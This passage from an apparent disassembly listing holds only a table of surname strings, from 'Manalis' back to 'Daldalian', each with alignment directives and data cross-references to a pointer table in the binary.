'Manalis',0 ; DATA XREF: ___:0042E064o aMalova db 'Malova',0 ; DATA XREF: ___:0042E060o align 4 aMaller db 'Maller',0 ; DATA XREF: ___:0042E05Co align 4 aMalatesta db 'Malatesta',0 ; DATA XREF: ___:0042E058o align 4 aMaisano db 'Maisano',0 ; DATA XREF: ___:0042E054o aMaineHershey db 'Maine-Hershey',0 ; DATA XREF: ___:0042E050o align 10h aMaier db 'Maier',0 ; DATA XREF: ___:0042E04Co align 4 aMahony db 'Mahony',0 ; DATA XREF: ___:0042E048o align 10h aMaggio db 'Maggio',0 ; DATA XREF: ___:0042E044o align 4 aMadigan db 'Madigan',0 ; DATA XREF: ___:0042E040o aMacy db 'Macy',0 ; DATA XREF: ___:0042E03Co align 4 aMacmillan db 'MacMillan',0 ; DATA XREF: ___:0042E038o align 4 aMackenney db 'Mackenney',0 ; DATA XREF: ___:0042E034o align 10h aMacintyre db 'Macintyre',0 ; DATA XREF: ___:0042E030o align 4 aMaceachern db 'Maceachern',0 ; DATA XREF: ___:0042E02Co align 4 aMacdonald db 'Macdonald',0 ; DATA XREF: ___:0042E028o align 4 aMaccormac db 'Maccormac',0 ; DATA XREF: ___:0042E024o align 10h aMa db 'Ma',0 ; DATA XREF: ___:0042E020o align 4 aLuzader db 'Luzader',0 ; DATA XREF: ___:0042E01Co aLutcavage db 'Lutcavage',0 ; DATA XREF: ___:0042E018o align 4 aLussier db 'Lussier',0 ; DATA XREF: ___:0042E014o aLuoma db 'Luoma',0 ; DATA XREF: ___:0042E010o align 4 aLunetta db 'Lunetta',0 ; DATA XREF: ___:0042E00Co aLuecke db 'Luecke',0 ; DATA XREF: ___:0042E008o align 4 aLuczkow db 'Luczkow',0 ; DATA XREF: ___:0042E004o aLuciano db 'Luciano',0 ; DATA XREF: ___:0042E000o aLucas db 'Lucas',0 ; DATA XREF: ___:0042DFFCo align 10h aLubin db 'Lubin',0 ; DATA XREF: ___:0042DFF8o align 4 aLoza db 'Loza',0 ; DATA XREF: ___:0042DFF4o align 10h aLowenstein db 'Lowenstein',0 ; DATA XREF: ___:0042DFF0o align 4 aLoveman db 'Loveman',0 ; DATA XREF: ___:0042DFECo aLoss db 'Loss',0 ; DATA XREF: ___:0042DFE8o align 4 aLongworth db 'Longworth',0 ; DATA XREF: ___:0042DFE4o align 4 aLocatelli db 'Locatelli',0 ; DATA XREF: ___:0042DFE0o align 4 aLizardo db 'Lizardo',0 ; DATA XREF: ___:0042DFDCo aLivolsi db 'Livolsi',0 ; DATA XREF: ___:0042DFD8o aLivi db 'Livi',0 ; DATA XREF: ___:0042DFD4o align 4 aLivernash db 'Livernash',0 ; DATA XREF: ___:0042DFD0o align 4 aLitvak db 'Litvak',0 ; DATA XREF: ___:0042DFCCo align 10h aLittle db 'Little',0 ; DATA XREF: ___:0042DFC8o align 4 aLipponen db 'Lipponen',0 ; DATA XREF: ___:0042DFC4o align 4 aLippmann db 'Lippmann',0 ; DATA XREF: ___:0042DFC0o align 10h aLinzee db 'Linzee',0 ; DATA XREF: ___:0042DFBCo align 4 aLinehan db 'Linehan',0 ; DATA XREF: ___:0042DFB8o aLine db 'Line',0 ; DATA XREF: ___:0042DFB4o align 4 aLinder db 'Linder',0 ; DATA XREF: ___:0042DFB0o align 10h aLinda db 'Linda',0 ; DATA XREF: ___:0042DFACo align 4 aLinares db 'Linares',0 ; DATA XREF: ___:0042DFA8o aLim db 'Lim',0 ; DATA XREF: ___:0042DFA4o aLightfoot db 'Lightfoot',0 ; DATA XREF: ___:0042DFA0o align 10h aLight db 'Light',0 ; DATA XREF: ___:0042DF9Co align 4 aLiem db 'Liem',0 ; DATA XREF: ___:0042DF98o align 10h aLidano db 'Lidano',0 ; DATA XREF: ___:0042DF94o align 4 aLiakos db 'Liakos',0 ; DATA XREF: ___:0042DF90o align 10h aLessi db 'Lessi',0 ; DATA XREF: ___:0042DF8Co align 4 aLesser db 'Lesser',0 ; DATA XREF: ___:0042DF88o align 10h aLEnclos db 'l',27h,'Enclos',0 ; DATA XREF: ___:0042DF84o align 4 aLenard db 'Lenard',0 ; DATA XREF: ___:0042DF80o align 4 aLeite db 'Leite',0 ; DATA XREF: ___:0042DF7Co align 4 aLeclercq db 'Leclercq',0 ; DATA XREF: ___:0042DF78o align 4 aLecce db 'Lecce',0 ; DATA XREF: ___:0042DF74o align 10h aLecar db 'Lecar',0 ; DATA XREF: ___:0042DF70o align 4 aLawless db 'Lawless',0 ; DATA XREF: ___:0042DF6Co aLashley db 'Lashley',0 ; DATA XREF: ___:0042DF68o aLaserna db 'Laserna',0 ; DATA XREF: ___:0042DF64o aLanzit db 'Lanzit',0 ; DATA XREF: ___:0042DF60o align 4 aLantieri db 'Lantieri',0 ; DATA XREF: ___:0042DF5Co align 4 aLankes db 'Lankes',0 ; DATA XREF: ___:0042DF58o align 4 aLandes db 'Landes',0 ; DATA XREF: ___:0042DF54o align 4 aLallemant db 'Lallemant',0 ; DATA XREF: ___:0042DF50o align 10h aLaing db 'Laing',0 ; DATA XREF: ___:0042DF4Co align 4 aLafler db 'Lafler',0 ; DATA XREF: ___:0042DF48o align 10h aLabunka db 'Labunka',0 ; DATA XREF: ___:0042DF44o aLa db 'La',0 ; DATA XREF: ___:0042DF40o align 4 aKuwabara db 'Kuwabara',0 ; DATA XREF: ___:0042DF3Co align 4 aKusman db 'Kusman',0 ; DATA XREF: ___:0042DF38o align 10h aKumar db 'Kumar',0 ; DATA XREF: ___:0042DF34o align 4 aKuenzli db 'Kuenzli',0 ; DATA XREF: ___:0042DF30o aKrysiak db 'Krysiak',0 ; DATA XREF: ___:0042DF2Co aKroemer db 'Kroemer',0 ; DATA XREF: ___:0042DF28o aKraus db 'Kraus',0 ; DATA XREF: ___:0042DF24o align 4 aKrasney db 'Krasney',0 ; DATA XREF: ___:0042DF20o aKrailo db 'Krailo',0 ; DATA XREF: ___:0042DF1Co align 4 aKraemer db 'Kraemer',0 ; DATA XREF: ___:0042DF18o aKovaks db 'Kovaks',0 ; DATA XREF: ___:0042DF14o align 4 aKotter db 'Kotter',0 ; DATA XREF: ___:0042DF10o align 10h aKorzybski db 'Korzybski',0 ; DATA XREF: ___:0042DF0Co align 4 aKool db 'Kool',0 ; DATA XREF: ___:0042DF08o align 4 aKonrad db 'Konrad',0 ; DATA XREF: ___:0042DF04o align 4 aKoniaris db 'Koniaris',0 ; DATA XREF: ___:0042DF00o align 4 aKommer db 'Kommer',0 ; DATA XREF: ___:0042DEFCo align 10h aKoivumaki db 'Koivumaki',0 ; DATA XREF: ___:0042DEF8o align 4 aKohn db 'Kohn',0 ; DATA XREF: ___:0042DEF4o align 4 aKoch db 'Koch',0 ; DATA XREF: ___:0042DEF0o align 4 aKobrick db 'Kobrick',0 ; DATA XREF: ___:0042DEECo aKnuff db 'Knuff',0 ; DATA XREF: ___:0042DEE8o align 4 aKlint db 'Klint',0 ; DATA XREF: ___:0042DEE4o align 4 aKlinkenborg db 'Klinkenborg',0 ; DATA XREF: ___:0042DEE0o aKling db 'Kling',0 ; DATA XREF: ___:0042DEDCo align 4 aKlemperer db 'Klemperer',0 ; DATA XREF: ___:0042DED8o align 4 aKleinfelder db 'Kleinfelder',0 ; DATA XREF: ___:0042DED4o aKleiman db 'Kleiman',0 ; DATA XREF: ___:0042DED0o aKleckner db 'Kleckner',0 ; DATA XREF: ___:0042DECCo align 4 aKittridge db 'Kittridge',0 ; DATA XREF: ___:0042DEC8o align 10h aKirscht db 'Kirscht',0 ; DATA XREF: ___:0042DEC4o aKippenberger db 'Kippenberger',0 ; DATA XREF: ___:0042DEC0o align 4 aKinsley db 'Kinsley',0 ; DATA XREF: ___:0042DEBCo aKindall db 'Kindall',0 ; DATA XREF: ___:0042DEB8o aKimura db 'Kimura',0 ; DATA XREF: ___:0042DEB4o align 10h aKimmett db 'Kimmett',0 ; DATA XREF: ___:0042DEB0o aKimmel db 'Kimmel',0 ; DATA XREF: ___:0042DEACo align 10h aKhong db 'Khong',0 ; DATA XREF: ___:0042DEA8o align 4 aKeul db 'Keul',0 ; DATA XREF: ___:0042DEA4o align 10h aKerry db 'Kerry',0 ; DATA XREF: ___:0042DEA0o align 4 aKendall db 'Kendall',0 ; DATA XREF: ___:0042DE9Co aKemsley db 'Kemsley',0 ; DATA XREF: ___:0042DE98o aKempton db 'Kempton',0 ; DATA XREF: ___:0042DE94o aKelsey db 'Kelsey',0 ; DATA XREF: ___:0042DE90o align 4 aKelker db 'Kelker',0 ; DATA XREF: ___:0042DE8Co align 10h aKeith db 'Keith',0 ; DATA XREF: ___:0042DE88o align 4 aKeepper db 'Keepper',0 ; DATA XREF: ___:0042DE84o aKeenan db 'Keenan',0 ; DATA XREF: ___:0042DE80o align 4 aKee db 'Kee',0 ; DATA XREF: ___:0042DE7Co aKawachi db 'Kawachi',0 ; DATA XREF: ___:0042DE78o aKasten db 'Kasten',0 ; DATA XREF: ___:0042DE74o align 4 aKassower db 'Kassower',0 ; DATA XREF: ___:0042DE70o align 4 aKarpouzes db 'Karpouzes',0 ; DATA XREF: ___:0042DE6Co align 4 aKangis db 'Kangis',0 ; DATA XREF: ___:0042DE68o align 4 aKamel db 'Kamel',0 ; DATA XREF: ___:0042DE64o align 4 aKalman db 'Kalman',0 ; DATA XREF: ___:0042DE60o align 4 aKalinowski db 'Kalinowski',0 ; DATA XREF: ___:0042DE5Co align 4 aKalil db 'Kalil',0 ; DATA XREF: ___:0042DE58o align 10h aKaligian db 'Kaligian',0 ; DATA XREF: ___:0042DE54o align 4 aKalbfleisch db 'Kalbfleisch',0 ; DATA XREF: ___:0042DE50o aKafadar db 'Kafadar',0 ; DATA XREF: ___:0042DE4Co aKaboolian db 'Kaboolian',0 ; DATA XREF: ___:0042DE48o align 4 aKabbash db 'Kabbash',0 ; DATA XREF: ___:0042DE44o aJulious db 'Julious',0 ; DATA XREF: ___:0042DE40o aJuliano db 'Juliano',0 ; DATA XREF: ___:0042DE3Co aJucks db 'Jucks',0 ; DATA XREF: ___:0042DE38o align 4 aJorgensen db 'Jorgensen',0 ; DATA XREF: ___:0042DE34o align 4 aJolly db 'Jolly',0 ; DATA XREF: ___:0042DE30o align 10h aJohns db 'Johns',0 ; DATA XREF: ___:0042DE2Co align 4 aJohannsen db 'Johannsen',0 ; DATA XREF: ___:0042DE28o align 4 aJohannesson db 'Johannesson',0 ; DATA XREF: ___:0042DE24o aJewett db 'Jewett',0 ; DATA XREF: ___:0042DE20o align 4 aJespersen db 'Jespersen',0 ; DATA XREF: ___:0042DE1Co align 4 aJenkins db 'Jenkins',0 ; DATA XREF: ___:0042DE18o aJellis db 'Jellis',0 ; DATA XREF: ___:0042DE14o align 4 aJeffers db 'Jeffers',0 ; DATA XREF: ___:0042DE10o aJay db 'Jay',0 ; DATA XREF: ___:0042DE0Co aJarrell db 'Jarrell',0 ; DATA XREF: ___:0042DE08o aJarnagin db 'Jarnagin',0 ; DATA XREF: ___:0042DE04o align 4 aJanjigian db 'Janjigian',0 ; DATA XREF: ___:0042DE00o align 10h aJamil db 'Jamil',0 ; DATA XREF: ___:0042DDFCo align 4 aJain db 'Jain',0 ; DATA XREF: ___:0042DDF8o align 10h aJagoe db 'Jagoe',0 ; DATA XREF: ___:0042DDF4o align 4 aJagger db 'Jagger',0 ; DATA XREF: ___:0042DDF0o align 10h aJagers db 'Jagers',0 ; DATA XREF: ___:0042DDECo align 4 aJackson db 'Jackson',0 ; DATA XREF: ___:0042DDE8o aJacenko db 'Jacenko',0 ; DATA XREF: ___:0042DDE4o aIyer db 'Iyer',0 ; DATA XREF: ___:0042DDE0o align 10h aIsserman db 'Isserman',0 ; DATA XREF: ___:0042DDDCo align 4 aIsbill db 'Isbill',0 ; DATA XREF: ___:0042DDD8o align 4 aIsaievych db 'Isaievych',0 ; DATA XREF: ___:0042DDD4o align 10h aIsaac db 'Isaac',0 ; DATA XREF: ___:0042DDD0o align 4 aInniss db 'Inniss',0 ; DATA XREF: ___:0042DDCCo align 10h aInamura db 'Inamura',0 ; DATA XREF: ___:0042DDC8o aIgarashi db 'Igarashi',0 ; DATA XREF: ___:0042DDC4o align 4 aIchikawa db 'Ichikawa',0 ; DATA XREF: ___:0042DDC0o align 10h aIaquinta db 'Iaquinta',0 ; DATA XREF: ___:0042DDBCo align 4 aHyde db 'Hyde',0 ; DATA XREF: ___:0042DDB8o align 4 aHutchings db 'Hutchings',0 ; DATA XREF: ___:0042DDB4o align 10h aHurtubise db 'Hurtubise',0 ; DATA XREF: ___:0042DDB0o align 4 aHupp db 'Hupp',0 ; DATA XREF: ___:0042DDACo align 4 aHuntington db 'Huntington',0 ; DATA XREF: ___:0042DDA8o align 10h aHungerford db 'Hungerford',0 ; DATA XREF: ___:0042DDA4o align 4 aHuidekoper db 'Huidekoper',0 ; DATA XREF: ___:0042DDA0o align 4 aHuey db 'Huey',0 ; DATA XREF: ___:0042DD9Co align 10h aHoy db 'Hoy',0 ; DATA XREF: ___:0042DD98o aHoward db 'Howard',0 ; DATA XREF: ___:0042DD94o align 4 aHottle db 'Hottle',0 ; DATA XREF: ___:0042DD90o align 4 aHostage db 'Hostage',0 ; DATA XREF: ___:0042DD8Co aHoshida db 'Hoshida',0 ; DATA XREF: ___:0042DD88o aHorsley db 'Horsley',0 ; DATA XREF: ___:0042DD84o aHopkins db 'Hopkins',0 ; DATA XREF: ___:0042DD80o aHooker db 'Hooker',0 ; DATA XREF: ___:0042DD7Co align 4 aHolzman db 'Holzman',0 ; DATA XREF: ___:0042DD78o aHolway db 'Holway',0 ; DATA XREF: ___:0042DD74o align 4 aHolter db 'Holter',0 ; DATA XREF: ___:0042DD70o align 4 aHoloien db 'Holoien',0 ; DATA XREF: ___:0042DD6Co aHolmes db 'Holmes',0 ; DATA XREF: ___:0042DD68o align 4 aHokoda db 'Hokoda',0 ; DATA XREF: ___:0042DD64o align 4 aHokanson db 'Hokanson',0 ; DATA XREF: ___:0042DD60o align 4 aHoffman db 'Hoffman',0 ; DATA XREF: ___:0042DD5Co aHoffer db 'Hoffer',0 ; DATA XREF: ___:0042DD58o align 4 aHock db 'Hock',0 ; DATA XREF: ___:0042DD54o align 10h aHoang db 'Hoang',0 ; DATA XREF: ___:0042DD50o align 4 aHitchcock db 'Hitchcock',0 ; DATA XREF: ___:0042DD4Co align 4 aHirst db 'Hirst',0 ; DATA XREF: ___:0042DD48o align 4 aHind db 'Hind',0 ; DATA XREF: ___:0042DD44o align 4 aHimmelfarb db 'Himmelfarb',0 ; DATA XREF: ___:0042DD40o align 10h aHeyeck db 'Heyeck',0 ; DATA XREF: ___:0042DD3Co align 4 aHeubert db 'Heubert',0 ; DATA XREF: ___:0042DD38o aHester db 'Hester',0 ; DATA XREF: ___:0042DD34o align 4 aHerrera db 'Herrera',0 ; DATA XREF: ___:0042DD30o aHernandez db 'Hernandez',0 ; DATA XREF: ___:0042DD2Co align 4 aHenrichs db 'Henrichs',0 ; DATA XREF: ___:0042DD28o align 4 aHenery db 'Henery',0 ; DATA XREF: ___:0042DD24o align 10h aHemphill db 'Hemphill',0 ; DATA XREF: ___:0042DD20o align 4 aHelprin db 'Helprin',0 ; DATA XREF: ___:0042DD1Co aHellmiss db 'Hellmiss',0 ; DATA XREF: ___:0042DD18o align 10h aHellman db 'Hellman',0 ; DATA XREF: ___:0042DD14o aHeiland db 'Heiland',0 ; DATA XREF: ___:0042DD10o aHeft db 'Heft',0 ; DATA XREF: ___:0042DD0Co align 4 aHeermans db 'Heermans',0 ; DATA XREF: ___:0042DD08o align 4 aHazlewood db 'Hazlewood',0 ; DATA XREF: ___:0042DD04o align 10h aHaynes db 'Haynes',0 ; DATA XREF: ___:0042DD00o align 4 aHayes db 'Hayes',0 ; DATA XREF: ___:0042DCFCo align 10h aHawkes db 'Hawkes',0 ; DATA XREF: ___:0042DCF8o align 4 aHaviaras db 'Haviaras',0 ; DATA XREF: ___:0042DCF4o align 4 aHarwell db 'Harwell',0 ; DATA XREF: ___:0042DCF0o aHartnett db 'Hartnett',0 ; DATA XREF: ___:0042DCECo align 4 aHartmann db 'Hartmann',0 ; DATA XREF: ___:0042DCE8o align 4 aHartman db 'Hartman',0 ; DATA XREF: ___:0042DCE4o aHarrigan db 'Harrigan',0 ; DATA XREF: ___:0042DCE0o align 4 aHarlow db 'Harlow',0 ; DATA XREF: ___:0042DCDCo align 10h aHargraves db 'Hargraves',0 ; DATA XREF: ___:0042DCD8o align 4 aHarding db 'Harding',0 ; DATA XREF: ___:0042DCD4o aHanssen db 'Hanssen',0 ; DATA XREF: ___:0042DCD0o aHand db 'Hand',0 ; DATA XREF: ___:0042DCCCo align 4 aHammerness db 'Hammerness',0 ; DATA XREF: ___:0042DCC8o align 10h aHamer db 'Hamer',0 ; DATA XREF: ___:0042DCC4o align 4 aHambarzumjan db 'Hambarzumjan',0 ; DATA XREF: ___:0042DCC0o align 4 aHalpert db 'Halpert',0 ; DATA XREF: ___:0042DCBCo aHallowell db 'Hallowell',0 ; DATA XREF: ___:0042DCB8o align 4 aHalkias db 'Halkias',0 ; DATA XREF: ___:0042DCB4o aHaley db 'Haley',0 ; DATA XREF: ___:0042DCB0o align 4 aHackshaw db 'Hackshaw',0 ; DATA XREF: ___:0042DCACo align 4 aHackman db 'Hackman',0 ; DATA XREF: ___:0042DCA8o aHaar db 'Haar',0 ; DATA XREF: ___:0042DCA4o align 4 aHa db 'Ha',0 ; DATA XREF: ___:0042DCA0o align 4 aGuo db 'Guo',0 ; DATA XREF: ___:0042DC9Co aGunn db 'Gunn',0 ; DATA XREF: ___:0042DC98o align 4 aGuenthart db 'Guenthart',0 ; DATA XREF: ___:0042DC94o align 4 aGruppe db 'Gruppe',0 ; DATA XREF: ___:0042DC90o align 4 aGruner db 'Gruner',0 ; DATA XREF: ___:0042DC8Co align 4 aGrummell db 'Grummell',0 ; DATA XREF: ___:0042DC88o align 10h aGrigoletto db 'Grigoletto',0 ; DATA XREF: ___:0042DC84o align 4 aGriffiths db 'Griffiths',0 ; DATA XREF: ___:0042DC80o align 4 aGreenfeld db 'Greenfeld',0 ; DATA XREF: ___:0042DC7Co align 4 aGreenberg db 'Greenberg',0 ; DATA XREF: ___:0042DC78o align 10h aGravell db 'Gravell',0 ; DATA XREF: ___:0042DC74o aGozzi db 'Gozzi',0 ; DATA XREF: ___:0042DC70o align 10h aGoody db 'Goody',0 ; DATA XREF: ___:0042DC6Co align 4 aGoodearl db 'Goodearl',0 ; DATA XREF: ___:0042DC68o align 4 aGood db 'Good',0 ; DATA XREF: ___:0042DC64o align 4 aGoncalves db 'Goncalves',0 ; DATA XREF: ___:0042DC60o align 4 aGoldfarb db 'Goldfarb',0 ; DATA XREF: ___:0042DC5Co align 4 aGlendon db 'Glendon',0 ; DATA XREF: ___:0042DC58o aGlegg db 'Glegg',0 ; DATA XREF: ___:0042DC54o align 4 aGleason db 'Gleason',0 ; DATA XREF: ___:0042DC50o aGist db 'Gist',0 ; DATA XREF: ___:0042DC4Co align 4 aGillispie db 'Gillispie',0 ; DATA XREF: ___:0042DC48o align 10h aGill db 'Gill',0 ; DATA XREF: ___:0042DC44o align 4 aGili db 'Gili',0 ; DATA XREF: ___:0042DC40o align 10h aGilbert db 'Gilbert',0 ; DATA XREF: ___:0042DC3Co aGibson db 'Gibson',0 ; DATA XREF: ___:0042DC38o align 10h aGibbens db 'Gibbens',0 ; DATA XREF: ___:0042DC34o aGhorai db 'Ghorai',0 ; DATA XREF: ___:0042DC30o align 10h aGerrett db 'Gerrett',0 ; DATA XREF: ___:0042DC2Co aGeorgi db 'Georgi',0 ; DATA XREF: ___:0042DC28o align 10h aGemberling db 'Gemberling',0 ; DATA XREF: ___:0042DC24o align 4 aGeller db 'Geller',0 ; DATA XREF: ___:0042DC20o align 4 aGaronna db 'Garonna',0 ; DATA XREF: ___:0042DC1Co aGarman db 'Garman',0 ; DATA XREF: ___:0042DC18o align 4 aGarfield db 'Garfield',0 ; DATA XREF: ___:0042DC14o align 10h aGambini db 'Gambini',0 ; DATA XREF: ___:0042DC10o aGalwey db 'Galwey',0 ; DATA XREF: ___:0042DC0Co align 10h aGaleotti db 'Galeotti',0 ; DATA XREF: ___:0042DC08o align 4 aGaggiotti db 'Gaggiotti',0 ; DATA XREF: ___:0042DC04o align 4 aGabrielli db 'Gabrielli',0 ; DATA XREF: ___:0042DC00o align 4 aFusaro db 'Fusaro',0 ; DATA XREF: ___:0042DBFCo align 4 aFurth db 'Furth',0 ; DATA XREF: ___:0042DBF8o align 4 aFuller db 'Fuller',0 ; DATA XREF: ___:0042DBF4o align 4 aFujiiAbe db 'Fujii-Abe',0 ; DATA XREF: ___:0042DBF0o align 4 aFrye db 'Frye',0 ; DATA XREF: ___:0042DBECo align 10h aFryberger db 'Fryberger',0 ; DATA XREF: ___:0042DBE8o align 4 aFrowiss db 'Frowiss',0 ; DATA XREF: ___:0042DBE4o aFrisken db 'Frisken',0 ; DATA XREF: ___:0042DBE0o aFriedland db 'Friedland',0 ; DATA XREF: ___:0042DBDCo align 4 aFried db 'Fried',0 ; DATA XREF: ___:0042DBD8o align 10h aFreundlich db 'Freundlich',0 ; DATA XREF: ___:0042DBD4o align 4 aFreid db 'Freid',0 ; DATA XREF: ___:0042DBD0o align 4 aFrazierDavis db 'Frazier-Davis',0 ; DATA XREF: ___:0042DBCCo align 4 aFranz db 'Franz',0 ; DATA XREF: ___:0042DBC8o align 4 aFranklinKenea db 'Franklin-Kenea',0 ; DATA XREF: ___:0042DBC4o align 4 aFrancisco db 'Francisco',0 ; DATA XREF: ___:0042DBC0o align 4 aFossi db 'Fossi',0 ; DATA XREF: ___:0042DBBCo align 10h aFossey db 'Fossey',0 ; DATA XREF: ___:0042DBB8o align 4 aFortier db 'Fortier',0 ; DATA XREF: ___:0042DBB4o aFortes db 'Fortes',0 ; DATA XREF: ___:0042DBB0o align 4 aForester db 'Forester',0 ; DATA XREF: ___:0042DBACo align 4 aFolks db 'Folks',0 ; DATA XREF: ___:0042DBA8o align 4 aFlores db 'Flores',0 ; DATA XREF: ___:0042DBA4o align 4 aFlier db 'Flier',0 ; DATA XREF: ___:0042DBA0o align 4 aFitzmaurice db 'Fitzmaurice',0 ; DATA XREF: ___:0042DB9Co aFisk db 'Fisk',0 ; DATA XREF: ___:0042DB98o align 10h aFiorina db 'Fiorina',0 ; DATA XREF: ___:0042DB94o aFinnegan db 'Finnegan',0 ; DATA XREF: ___:0042DB90o align 4 aFinkelstein db 'Finkelstein',0 ; DATA XREF: ___:0042DB8Co aFink db 'Fink',0 ; DATA XREF: ___:0042DB88o align 4 aField db 'Field',0 ; DATA XREF: ___:0042DB84o align 10h aFido db 'Fido',0 ; DATA XREF: ___:0042DB80o align 4 aFeuer db 'Feuer',0 ; DATA XREF: ___:0042DB7Co align 10h aFerriell db 'Ferriell',0 ; DATA XREF: ___:0042DB78o align 4 aFerrante db 'Ferrante',0 ; DATA XREF: ___:0042DB74o align 4 aFernandes db 'Fernandes',0 ; DATA XREF: ___:0042DB70o align 4 aFernald db 'Fernald',0 ; DATA XREF: ___:0042DB6Co aFeldman db 'Feldman',0 ; DATA XREF: ___:0042DB68o aFejzo db 'Fejzo',0 ; DATA XREF: ___:0042DB64o align 4 aFeigenbaum db 'Feigenbaum',0 ; DATA XREF: ___:0042DB60o align 4 aFates db 'Fates',0 ; DATA XREF: ___:0042DB5Co align 10h aFasso db 'Fasso',27h,0 ; DATA XREF: ___:0042DB58o align 4 aFarren db 'Farren',0 ; DATA XREF: ___:0042DB54o align 10h aFarone db 'Farone',0 ; DATA XREF: ___:0042DB50o align 4 aFaris db 'Faris',0 ; DATA XREF: ___:0042DB4Co align 10h aFalorsi db 'Falorsi',0 ; DATA XREF: ___:0042DB48o aFalcoAcosta db 'Falco-Acosta',0 ; DATA XREF: ___:0042DB44o align 4 aFaioes db 'Faioes',0 ; DATA XREF: ___:0042DB40o align 10h aFagan db 'Fagan',0 ; DATA XREF: ___:0042DB3Co align 4 aFabbris db 'Fabbris',0 ; DATA XREF: ___:0042DB38o aEverett db 'Everett',0 ; DATA XREF: ___:0042DB34o aEuripides db 'Euripides',0 ; DATA XREF: ___:0042DB30o align 4 aEtter db 'Etter',0 ; DATA XREF: ___:0042DB2Co align 4 aEstes db 'Estes',0 ; DATA XREF: ___:0042DB28o align 4 aEspinoza db 'Espinoza',0 ; DATA XREF: ___:0042DB24o align 10h aErez db 'Erez',0 ; DATA XREF: ___:0042DB20o align 4 aErdos db 'Erdos',0 ; DATA XREF: ___:0042DB1Co align 10h aErdman db 'Erdman',0 ; DATA XREF: ___:0042DB18o align 4 aErbach db 'Erbach',0 ; DATA XREF: ___:0042DB14o align 10h aEppling db 'Eppling',0 ; DATA XREF: ___:0042DB10o aEnyeart db 'Enyeart',0 ; DATA XREF: ___:0042DB0Co aEncinas db 'Encinas',0 ; DATA XREF: ___:0042DB08o aElvis db 'Elvis',0 ; DATA XREF: ___:0042DB04o align 10h aElmerick db 'Elmerick',0 ; DATA XREF: ___:0042DB00o align 4 aElmendorf db 'Elmendorf',0 ; DATA XREF: ___:0042DAFCo align 4 aEliasson db 'Eliasson',0 ; DATA XREF: ___:0042DAF8o align 4 aEickenhorst db 'Eickenhorst',0 ; DATA XREF: ___:0042DAF4o aEdward db 'Edward',0 ; DATA XREF: ___:0042DAF0o align 4 aEdner db 'Edner',0 ; DATA XREF: ___:0042DAECo align 10h aEdley db 'Edley',0 ; DATA XREF: ___:0042DAE8o align 4 aEckel db 'Eckel',0 ; DATA XREF: ___:0042DAE4o align 10h aEbeling db 'Ebeling',0 ; DATA XREF: ___:0042DAE0o aEardley db 'Eardley',0 ; DATA XREF: ___:0042DADCo aDwyer db 'Dwyer',0 ; DATA XREF: ___:0042DAD8o align 4 aDussault db 'Dussault',0 ; DATA XREF: ___:0042DAD4o align 4 aDurrett db 'Durrett',0 ; DATA XREF: ___:0042DAD0o aDuffin db 'Duffin',0 ; DATA XREF: ___:0042DACCo align 4 aDSouza db 'D',27h,'souza',0 ; DATA XREF: ___:0042DAC8o aDrinker db 'Drinker',0 ; DATA XREF: ___:0042DAC4o aDowsland db 'Dowsland',0 ; DATA XREF: ___:0042DAC0o align 10h aDoug db 'Doug',0 ; DATA XREF: ___:0042DABCo align 4 aDoty db 'Doty',0 ; DATA XREF: ___:0042DAB8o align 10h aDosi db 'Dosi',0 ; DATA XREF: ___:0042DAB4o align 4 aDorf db 'Dorf',0 ; DATA XREF: ___:0042DAB0o align 10h aDore db 'Dore',0 ; DATA XREF: ___:0042DAACo align 4 aDoonan db 'Doonan',0 ; DATA XREF: ___:0042DAA8o align 10h aDonner db 'Donner',0 ; DATA XREF: ___:0042DAA4o align 4 aDonahue db 'Donahue',0 ; DATA XREF: ___:0042DAA0o aDoherty db 'Doherty',0 ; DATA XREF: ___:0042DA9Co aDockery db 'Dockery',0 ; DATA XREF: ___:0042DA98o aDirksen db 'Dirksen',0 ; DATA XREF: ___:0042DA94o aDionysius db 'Dionysius',0 ; DATA XREF: ___:0042DA90o align 4 aDilworth db 'Dilworth',0 ; DATA XREF: ___:0042DA8Co align 10h aDifronzo db 'Difronzo',0 ; DATA XREF: ___:0042DA88o align 4 aDifabio db 'Difabio',0 ; DATA XREF: ___:0042DA84o aDiefenbach db 'Diefenbach',0 ; DATA XREF: ___:0042DA80o align 10h aDicks db 'Dicks',0 ; DATA XREF: ___:0042DA7Co align 4 aDFini db 'D',27h,'fini',0 ; DATA XREF: ___:0042DA78o align 10h aDeutsch db 'Deutsch',0 ; DATA XREF: ___:0042DA74o aDesombre db 'Desombre',0 ; DATA XREF: ___:0042DA70o align 4 aDenison db 'Denison',0 ; DATA XREF: ___:0042DA6Co aDenham db 'Denham',0 ; DATA XREF: ___:0042DA68o align 4 aDenault db 'Denault',0 ; DATA XREF: ___:0042DA64o aDemusz db 'Demusz',0 ; DATA XREF: ___:0042DA60o align 4 aDempster db 'Dempster',0 ; DATA XREF: ___:0042DA5Co align 10h aDeming db 'Deming',0 ; DATA XREF: ___:0042DA58o align 4 aDellAcqua db 'Dell',27h,'acqua',0 ; DATA XREF: ___:0042DA54o align 4 aDelger db 'Delger',0 ; DATA XREF: ___:0042DA50o align 4 aDeleonRendon db 'Deleon-Rendon',0 ; DATA XREF: ___:0042DA4Co align 4 aDelattre db 'Delattre',0 ; DATA XREF: ___:0042DA48o align 4 aDefeciani db 'Defeciani',0 ; DATA XREF: ___:0042DA44o align 4 aDees db 'Dees',0 ; DATA XREF: ___:0042DA40o align 4 aDebroff db 'Debroff',0 ; DATA XREF: ___:0042DA3Co aDerousse db 'deRousse',0 ; DATA XREF: ___:0042DA38o align 10h aDelEnclos db 'del',27h,'Enclos',0 ; DATA XREF: ___:0042DA34o align 4 aDelapena db 'DeLaPena',0 ; DATA XREF: ___:0042DA30o align 4 aDegennaro db 'DeGennaro',0 ; DATA XREF: ___:0042DA2Co align 4 aDawkins db 'Dawkins',0 ; DATA XREF: ___:0042DA28o aDavid db 'David',0 ; DATA XREF: ___:0042DA24o align 4 aDaskalu db 'Daskalu',0 ; DATA XREF: ___:0042DA20o aDasgupta db 'Dasgupta',0 ; DATA XREF: ___:0042DA1Co align 4 aDas db 'Das',0 ; DATA XREF: ___:0042DA18o aDArcangelo db 'D',27h,'arcangelo',0 ; DATA XREF: ___:0042DA14o aDapice db 'Dapice',0 ; DATA XREF: ___:0042DA10o align 10h aDante db 'Dante',0 ; DATA XREF: ___:0042DA0Co align 4 aDanieli db 'Danieli',0 ; DATA XREF: ___:0042DA08o aDAmbra db 'D',27h,'Ambra',0 ; DATA XREF: ___:0042DA04o aDaly db 'Daly',0 ; DATA XREF: ___:0042DA00o align 10h aDaldalian db 'Daldalian',0 ; DATA XREF: ___:0042D9FCo 